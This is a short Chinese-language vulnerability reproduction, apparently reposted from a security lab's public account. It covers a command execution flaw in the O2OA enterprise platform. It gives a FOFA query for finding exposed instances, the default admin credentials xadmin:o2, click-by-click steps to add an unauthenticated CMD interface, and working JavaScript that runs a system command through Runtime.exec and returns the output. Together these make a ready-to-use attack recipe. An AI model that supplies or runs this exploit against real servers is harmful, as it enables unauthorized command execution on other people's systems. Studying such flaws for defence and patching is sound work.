O2OA invoke 命令执行漏洞

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 O2OA invoke 命令执行漏洞

0x01 阅读须知

0x02 漏洞描述

O2OA是一款Java开源企业信息化建设平台，包括流程管理、门户管理、信息管理、数据管理和服务管理五大平台，可以极大程度上减化企业信息化建设成本和业务应用开发难度。O2OA invoke后台存在命令执行漏洞，攻击者通过漏洞可以获取服务器权限。

0x03 漏洞复现

fofa：title==”O2OA”

1.输入默认账户密码登录系统

xadmin:o2

2.点击左上角图标→服务管理→新增CMD接口→复制如下执行whoami命令代码→启用鉴权选否→保存→点击运行即可得到回显

var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()));

var result = [];
while (true) {
    var oneline = bufReader.readLine();
    result.push(oneline);
    if (!oneline) break;
}
var result = { "Result": result };
this.response.setBody(result, "application/json");